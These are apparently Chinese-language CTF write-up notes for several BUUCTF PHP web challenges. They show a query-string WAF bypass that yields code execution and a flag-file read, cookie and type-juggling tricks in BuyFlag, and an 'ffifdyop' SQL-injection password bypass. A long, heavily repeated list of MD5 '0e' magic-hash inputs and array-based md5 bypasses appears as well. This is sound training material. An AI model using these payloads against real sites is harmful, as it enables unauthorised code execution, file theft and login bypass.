PHP的字符串解析特性:PHP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:1.刪除空白符 2.將某些字符轉換為下劃線(包括空格)【當waf不讓你過的時候,php卻可以讓你過】。假如waf不允許num變量傳遞字符串,可以在num前加個空格,這樣waf就找不到num這個變量了,因為現在的變量叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的代碼還能正常運行,還上傳了非法字符。
scandir() 函數:返回指定目錄中的文件和目錄的數組。
方法一:PHP的字符串解析特性
嘗試一下:/calc.php?num=phpinfo()
?
num前加個空格:/calc.php? num=phpinfo()或者/calc.php?%20num=phpinfo()
空格的url編碼為%20
phpinfo() 是 PHP 的一個內置函數,它會輸出當前 PHP 環境的詳細信息,包括 PHP 版本、加載的擴展、服務器配置等內容
以上證明了PHP的字符串解析特性方法的可行性
由于“/”被過濾了,所以我們可以使用chr(47)來進行表示,進行根目錄讀取:
47是/的ascii碼,雖然/并不在黑名單內,但服務器端可能存在其他的過濾機制或者環境限制,總之這題的/被過濾了
/calc.php? num=1;var_dump(scandir(chr(47)))
構造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
字符串拼接:. 是 PHP 中的字符串連接運算符,將 chr() 函數返回的字符依次連接起來,得到字符串 /f1agg。
file_get_contents() 函數:該函數用于讀取文件的內容,將拼接好的字符串 /f1agg 作為文件路徑,嘗試讀取該文件的內容。
var_dump() 函數:var_dump() 函數用于輸出變量的詳細信息,包括變量的類型和值。這里將 file_get_contents() 函數返回的文件內容作為參數傳遞給 var_dump() 函數,最終會將文件內容及其詳細信息輸出到頁面上。
?
方法二:http走私攻擊
/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
九.弱相等&強相等&md5?
(19)[極客大挑戰 2019]BuyFlag?
查看源碼,發現有兩個.php,點擊查看?
?
查看pay.php的源碼,發現有用信息?
?
以post方式傳參,money=100000000,password滿足等于404,但是不能為數字,弱相等,所以password等于404+任意字符
總結一下需要滿足四個條件:前面提示必須是cuit的學生;以post方式傳參;money=100000000;password=404a。
所以修改cookie里的user=0為user=1
直接抓包修改
先通過內置瀏覽器插件 HackBar進行POST傳參,再抓包,這樣數據包就是POST傳參方式,如果直接在數據包里面把GET方式傳參改為POST方式傳參的話,可能依舊是GET方式傳參,這點需要注意。
右鍵發送到Repeater模塊?
修改cookie里的user=0為user=1,這里提示數字太長?
password=404a&money=1e9?
1e9代表1的后面有9個0 => 1000000000 > 100000000 (要大于題目要求的money值!)
否則不夠錢
或者使用數組進行傳參跳過判斷,password不能
money[]=1&password=404a(參數順序可以調換)
password=404a&money[]=
這里可以等于任何數字或字母或符號,甚至什么也不要
補充[]的ascii碼分別是%5B;%5D,不區分大小寫
password=404a&money%5b%5d=*
(20)[BJDCTF2020]Easy MD5
查看源代碼無果,抓包看一看
或者(這個隨便注入一個東西網絡有響應)
?
這里面password就是我們用戶框中輸入得東西。如果通過md5之后返回字符串是'or 1的話,就形成一個永真條件。
MD5 是一種廣泛使用的哈希函數,它會將任意長度的輸入字符串轉換為一個固定長度(通常為 128 位,以 32 位十六進制字符串表示)的哈希值。
當對字符串 ffifdyop?進行 MD5的32位 哈希計算時,得到的結果是 276f722736c95d99e921722cf9ed621c。
十六進制與 ASCII 碼轉換
在計算機中,十六進制數據可以按照一定規則轉換為對應的 ASCII 字符。每兩個十六進制數字對應一個字節,每個字節可以表示一個 ASCII 字符。下面對 276f722736 進行轉換:
27 在 ASCII 碼表中對應的字符是單引號 '。
6f 對應的 ASCII 字符是小寫字母 o。
72 對應的 ASCII 字符是小寫字母 r。
因此,十六進制字符串 276f7227 轉換為 ASCII 字符后就是 'or',而 36 對應的 ASCII 字符是數字 6,所以 276f722736 轉換為 ASCII 字符后就是 'or'6。
與 SQL 注入的關聯
假設原本的 SQL 查詢語句是 SELECT * FROM 'admin' WHERE password = MD5('用戶輸入的內容');,當用戶輸入 ffifdyop 時,查詢語句會變成:
sqlSELECT * FROM 'admin' WHERE password = '276f722736c95d99e921722cf9ed621c';
由于 MySQL 會將十六進制字符串解釋為對應的 ASCII 字符,上述查詢語句實際執行時相當于:sqlSELECT * FROM 'admin' WHERE password = '' or '6c95d99e921722cf9ed621c';
在 SQL 邏輯中,OR 運算符只要有一個條件為真,整個表達式就為真。這里 '6c95d99e921722cf9ed621c' 作為一個非空字符串,在布爾上下文中會被視為 TRUE,所以整個查詢條件恒為真,這樣就繞過了正常的密碼驗證,實現了 SQL 注入攻擊,ffifdyop 也就相當于一個萬能密碼。
?
查看頁面源碼,發現有一個弱類型比較,也可以數組繞過?
?
由于是GET方式,我們可以構造:?a[]=1&b[]=2?
或者:?a=QNKCDZO&b=s878926199a?
這兩個 MD5 值都是以0e開頭,在 PHP 中,以0e開頭的字符串會被認為是科學計數法表示的數字,且e后面的數字表示 10 的冪次。在這種情況下,PHP 會將這兩個字符串轉換為數字0進行比較,所以0e462097431906509019562988736854 == 0e545993274517709034328855841020的結果為true,從而實現了繞過。
盡管這兩個 MD5 值在弱相等比較時被當作相同的數字,但它們本質上是不同的字符串。0e462097431906509019562988736854 和 0e545993274517709034328855841020 這兩個字符串的內容不同,所以在強相等比較中,由于字符串內容和數據類型都要嚴格一致,最終判定結果為不相等,也就無法繞過
典型的md5碰撞,這個是弱比較,所以可以用md5值為0e開頭的來撞。這里提供一些md5以后是0e開頭的值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
POST方式,傳param1和param2兩個參數,這兩個參數還不能相等,但是md5轉換后的值還要相等(0e開頭)
$_POST['param1']!==$_POST['param2']:$_POST 是一個 PHP 超全局變量,用于接收通過 POST 方法提交的表單數據。這個條件檢查 param1 和 param2 這兩個 POST 參數的值是否不相等。!== 是嚴格不相等比較運算符,它不僅會比較值,還會比較數據類型。
md5($_POST['param1'])===md5($_POST['param2']):md5 函數用于計算一個字符串的 MD5 哈希值。這個條件檢查 param1 和 param2 經過 MD5 哈希計算后的結果是否嚴格相等。=== 是嚴格相等比較運算符,會同時比較值和數據類型。
由于后面是強相等,會比較值,所以param1=s155964671a¶m2=s878926199a不行
只能數組繞過
POST傳參:param1[]=1¶m2[]=2
MD5有個特點是:如果傳入的兩個參數不是字符串,而是數組,md5()函數無法解出其數值,而且不會報錯,就會得到===強比較的值相等,相當于false==false恒成立。
1. error_reporting(0);
功能:這行代碼用于設置 PHP 錯誤報告的級別。參數 0 表示關閉所有的錯誤報告,也就是說,當代碼運行過程中出現錯誤時,PHP 不會在頁面上顯示任何錯誤信息。這通常是為了避免在生產環境中向用戶暴露敏感的錯誤信息,防止攻擊者利用這些信息進行攻擊。
2. include "flag.php";
功能:include 是一個 PHP 語句,用于將指定的文件包含到當前腳本中。這里將 flag.php 文件包含進來,意味著 flag.php 文件中的代碼會在當前腳本中被執行。
3. highlight_file(__FILE__);
功能:highlight_file 函數用于以語法高亮的形式顯示指定文件的源代碼。__FILE__ 是一個 PHP 預定義常量,它代表當前正在執行的 PHP 文件的完整路徑和文件名。所以這行代碼的作用是在頁面上顯示當前文件(也就是這段代碼所在文件)的源代碼,方便用戶查看代碼邏輯。